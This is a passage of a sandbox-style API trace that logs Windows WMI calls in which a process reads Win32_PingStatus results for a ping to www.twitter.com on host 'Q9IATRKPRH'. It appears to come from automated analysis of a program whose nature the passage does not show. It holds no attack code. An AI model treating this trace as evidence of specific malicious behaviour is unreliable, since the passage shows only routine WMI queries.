| out: pVal=0x5bde998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2334ea0*=8, plFlavor=0x2334ea4*=64) returned 0x0 [0156.657] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.657] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.657] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9dc | out: puCount=0x5bde9dc*=0x2) returned 0x0 [0156.657] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d8*=0xf, pszText=0x0) returned 0x0 [0156.657] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.657] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="PSShowComputerName", lFlags=0, pVal=0x5bde9d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23350d8*=0, plFlavor=0x23350dc*=0 | out: pVal=0x5bde9d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23350d8*=0, plFlavor=0x23350dc*=0) returned 0x80041002 [0156.658] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9bc | out: pperrinfo=0x5bde9bc*=0x0) returned 0x1 [0156.658] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x5bde904 | out: lpiid=0x5bde904) returned 0x0 [0156.661] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde620 | out: ppv=0x5bde620*=0x5f85060) returned 0x0 [0156.663] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85060, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde838 | out: ppvObject=0x5bde838*=0x0) returned 0x80004002 [0156.663] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f85060, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde844 | out: ppvObject=0x5bde844*=0x5f85070) returned 0x0 [0156.663] WbemStatusCodeText:IUnknown:Release (This=0x5f85060) returned 0x0 [0156.663] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde464 | out: ppvObject=0x5bde464*=0x5f85070) returned 0x0 [0156.663] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde418 | out: ppvObject=0x5bde418*=0x0) returned 0x80004002 [0156.664] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85070) returned 0x3 [0156.664] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddd74 | out: ppvObject=0x5bddd74*=0x0) returned 0x80004002 [0156.664] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd24 | out: ppvObject=0x5bddd24*=0x0) returned 0x80004002 [0156.664] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd30 | out: ppvObject=0x5bddd30*=0x0) returned 0x80004002 [0156.664] CoGetContextToken (in: pToken=0x5bddd90 | out: pToken=0x5bddd90) returned 0x0 [0156.664] CoGetContextToken (in: pToken=0x5bde1a4 | out: pToken=0x5bde1a4) returned 0x0 [0156.664] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde224 | out: ppvObject=0x5bde224*=0x0) returned 0x80004002 [0156.664] WbemStatusCodeText:IUnknown:Release (This=0x5f85070) returned 0x2 [0156.664] WbemStatusCodeText:IUnknown:Release (This=0x5f85070) returned 0x1 [0156.664] CoGetContextToken (in: pToken=0x5bde81c | out: pToken=0x5bde81c) returned 0x0 [0156.664] CoGetContextToken (in: pToken=0x5bde77c | out: pToken=0x5bde77c) returned 0x0 [0156.664] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85070, riid=0x5bde84c*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde848 | out: ppvObject=0x5bde848*=0x5f85070) returned 0x0 [0156.664] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85070) returned 0x3 [0156.664] WbemStatusCodeText:IUnknown:Release (This=0x5f85070) returned 0x2 [0156.665] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85070, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9b0 | out: MessageText=0x5bde9b0*="Not found ") returned 0x0 [0156.676] SysStringByteLen (bstr="Not found ") returned 0x14 [0156.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0156.689] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0156.689] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0156.689] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0156.689] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.689] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0156.689] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0156.689] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0156.689] SafeArrayGetLBound (in: psa=0x5f6dc38, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0156.690] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.690] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.690] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.690] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.690] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.690] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.690] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.690] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.690] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.690] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.690] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.690] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.690] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.690] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.690] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.690] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.690] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.690] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.690] SysStringByteLen (bstr="__PATH") returned 0xc [0156.690] SysStringByteLen (bstr="__PATH") returned 0xc [0156.690] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233594c*=0, plFlavor=0x2335950*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x233594c*=3, plFlavor=0x2335950*=64) returned 0x0 [0156.691] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335980*=0, plFlavor=0x2335984*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2335980*=8, plFlavor=0x2335984*=64) returned 0x0 [0156.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.691] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23359d8*=0, plFlavor=0x23359dc*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23359d8*=8, plFlavor=0x23359dc*=64) returned 0x0 [0156.691] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335a00*=0, plFlavor=0x2335a04*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2335a00*=8, plFlavor=0x2335a04*=64) returned 0x0 [0156.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.691] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.691] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335a58*=0, plFlavor=0x2335a5c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2335a58*=8, plFlavor=0x2335a5c*=64) returned 0x0 [0156.691] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.691] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.691] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335c34*=0, plFlavor=0x2335c38*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2335c34*=3, plFlavor=0x2335c38*=64) returned 0x0 [0156.692] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335c68*=0, plFlavor=0x2335c6c*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85060, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2335c68*=8200, plFlavor=0x2335c6c*=64) returned 0x0 [0156.692] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2335c9c*=0, plFlavor=0x2335ca0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2335c9c*=8, plFlavor=0x2335ca0*=64) returned 0x0 [0156.692] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.692] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0156.692] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0156.692] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0156.692] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0156.692] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.693] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0156.693] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.693] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.693] SafeArrayGetLBound (in: psa=0x5f6dba8, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0156.693] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.693] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.693] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.693] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.693] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.693] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.693] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.693] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.693] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.693] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.693] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.693] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.693] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.693] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.693] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.693] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.693] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.693] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.694] SysStringByteLen (bstr="__PATH") returned 0xc [0156.694] SysStringByteLen (bstr="__PATH") returned 0xc [0156.694] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336068*=0, plFlavor=0x233606c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2336068*=3, plFlavor=0x233606c*=64) returned 0x0 [0156.694] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233609c*=0, plFlavor=0x23360a0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x233609c*=8, plFlavor=0x23360a0*=64) returned 0x0 [0156.694] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.694] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.694] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23360f4*=0, plFlavor=0x23360f8*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23360f4*=8, plFlavor=0x23360f8*=64) returned 0x0 [0156.694] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233611c*=0, plFlavor=0x2336120*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x233611c*=8, plFlavor=0x2336120*=64) returned 0x0 [0156.694] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.694] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.694] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336174*=0, plFlavor=0x2336178*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2336174*=8, plFlavor=0x2336178*=64) returned 0x0 [0156.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.695] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336350*=0, plFlavor=0x2336354*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2336350*=3, plFlavor=0x2336354*=64) returned 0x0 [0156.695] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336384*=0, plFlavor=0x2336388*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85060, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2336384*=8200, plFlavor=0x2336388*=64) returned 0x0 [0156.695] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23363b8*=0, plFlavor=0x23363bc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23363b8*=8, plFlavor=0x23363bc*=64) returned 0x0 [0156.695] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.695] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.696] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23363b8*=8, plFlavor=0x23363bc*=64 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23363b8*=8, plFlavor=0x23363bc*=64) returned 0x0 [0156.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.699] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0156.699] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0156.699] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.699] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0156.699] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0156.699] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.699] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0156.699] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0156.699] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0156.700] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0156.700] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.700] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.700] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.700] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.700] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.700] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.700] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.700] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.700] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.700] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.700] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.700] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.700] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.701] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.701] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.701] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.701] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.701] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.701] SysStringByteLen (bstr="__PATH") returned 0xc [0156.701] SysStringByteLen (bstr="__PATH") returned 0xc [0156.701] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336a8c*=0, plFlavor=0x2336a90*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2336a8c*=3, plFlavor=0x2336a90*=64) returned 0x0 [0156.701] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", 